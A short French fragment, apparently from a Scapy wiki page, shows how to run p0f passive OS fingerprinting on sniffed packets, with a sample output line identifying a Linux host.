>>> conf.p0f_base
Voici un exemple à partir d'un simple paquet capturé:
>>> sniff(prn=prnp0f) 192.168.1.100:54716 - Linux 2.6 (newer, 1) (up: 24 hrs) -> 74.125.19.104:www (distance 0) <Sniffed: TCP:339 UDP:2 ICMP:0 Other:156>
Ce document viens de Spiritofhack : http://wiki.spiritofhack.net/index.php/Scapy-usage
— Nic0 2009/08/15 15:29